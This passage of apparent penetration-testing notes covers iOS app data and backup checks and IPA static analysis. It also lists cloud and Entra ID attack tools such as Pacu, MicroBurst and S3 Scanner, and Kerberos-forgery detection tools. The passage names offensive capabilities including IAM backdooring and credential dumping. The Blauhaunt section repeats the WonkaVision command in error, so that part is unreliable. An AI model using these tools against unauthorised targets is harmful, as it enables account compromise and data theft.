`/private/var/containers/Bundle/Application/UUID/App.app/Info.plist` * All the application data is located at the following location (check for sensitive data storage) * `/private/var/mobile/Containers/Data/Application/Data-UUID` * Shared data directory (check for sensitive data storage) * `/var/mobile/Containers/Shared/AppGroup/` * NSUserDefaults and Cache.db (check for sensitive data storage) * `/var/mobile/Containers/Data/Application/UUID/Library/Preferences/` * `/var/mobile/Containers/Data/Application/UUID/Library/Caches` * Screenshot Data - Sensitive details should not get captured in the screenshot * `/var/mobile/Containers/Data/Application/UUID/Library/Caches/Snapshots/` * If any SQLlite files exist, they should be reviewed: * ## Backup Check Application should not backup any sensitive data. Using a mac, do the following: * Get the iOS device UDID * `idevice_id -l` * Backup the device * `idevicebackup2 backup --full -u $(idevice_id -l) ./backup` * Browse the backup in MacOS ## Read the SYSLOG The application should not disclose anything sensitive to the syslog. Using a mac, do the following: * Get device UDID: * `idevice_id -l` * Use impactor on macOS with the UDID * `./Applications/Impactor.app/Contents/MacOS/Impactor idevicesyslog -u ` * Another way is [using XCode](https://developer.apple.com/documentation/os/logging/viewing_log_messages) * Goto Xcode -> Devices and Simulators -> View device logs to see the logs * Grep the logs for sensitive data files * Can also use [ios\_deploy](https://github.com/ios-control/ios-deploy). * *`ios_deploy syslog`* # Static Analysis How to review an IPA file. ## Reviewing the IPA Folders and supporting files At this point, you should have a decrypted IPA file. If you do not, please read [IPA Decryption](/offensive-security/mobile-ios-android/ios/ipa-decryption). Change the IPA file into a .zip by renaming it something.zip and open the archive. In this archive, is the IPA binary and all of the supporting files and folders that we can review for issues. * **App Binary** * A binary will be present which is the compiled application. Take a look at this later as there are many things to be done with the actual application and we're interested in what surrounds it. * **"Frameworks" Folder** * This folder may contains external frameworks that are implemented within the application. For example, frameworks for Jailbreak detection, SSL pinning and more. * **example-certificate.der** * There may be a .der file (CA Certificate) that is used for certificate pinning * **Info.plist** * This contains critical information about the configuration of an iOS mobile app * **Other files** * A wide range of files may exist in the archive. Review them all one by one for possible issues. ## Reviewing the app binary * A quick first thing to try is running "strings" on the binary to find any human readable values * On a mac, use the command `strings ` * To really understand the IPA and what it's doing, you must disassemble the IPA * You could use [Hopper (hopperapp.com)](https://www.hopperapp.com/) #### MobSF MobSF is useful tool to use for IPA analysis and provides a graphical overview of many areas: * `docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest` # Cloud How to security test the Cloud. # AWS How to perform an AWS security assessment # Vulnerability Scanners Tools to exploit AWS. ## Scout Suite Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments. Using the APIs exposed by cloud providers, Scout Suite gathers configuration data for manual inspection and highlights risk areas. Rather than going through dozens of pages on the web consoles, Scout Suite presents a clear view of the attack surface automatically. * ## Pacu Pacu is an open-source AWS exploitation framework that allows penetration testers to exploit configuration flaws within an AWS account, using modules to easily expand its functionality. Current modules enable a range of attacks, including user privilege escalation, backdooring of IAM users, attacking vulnerable Lambda functions, and much more. * # S3 Buckets How to exploit S3 Buckets. ## S3 Scanner S3 Scanner will scan for misconfigured S3 buckets across S3-compatible APIs! * The following command will find any issues in the S3 buckets listed in names.txt. `s3scanner -bucket-file names.txt -enumerate` # Azure How to perform an Azure security assessment # Vulnerability Scanners Tools to exploit Azure. ## ROADtools ROADtools is a collection of Azure AD/Entra tools for offensive and defensive security purposes. * ## MicroBurst MicroBurst includes functions and scripts that support Azure Services discovery, weak configuration auditing, and post exploitation actions such as credential dumping. * ## SkyArk SkyArk helps to discover, assess and secure the most privileged entities in Azure and AWS. SkyArk currently contains two main scanning modules AWStealth and AzureStealth. With the scanning results, organizations can discover the entities (users, groups and roles) who have the most risky permissions. * # m365 & Entra ID Tools to exploit m365 and Entra ID. ## MAAD-AF An attack tool for simple, fast & effective security testing of M365 & Entra ID (Azure AD). * # Forged Kerberos Tickets How to detect forged Kerberos tickets. ## WonkaVision WonkaVision can analyze Kerberos tickets and attempt to determine if they are forged. * `WonkaVision.exe /analyze /privatekey:C:\keys\private.key /dumpdir:C:\dumpshare\dumps` # Logon Event Visualisation How to detect forged Kerberos tickets. ## Blauhaunt Blauhaunt conducts filtering and visualization of logon events to help defenders understand where attackers are coming from and where they have got to during security incidents and threat hunts. * `WonkaVision.exe /analyze /privatekey:C:\keys\private.key /dumpdir:C:\dumpshare\dumps`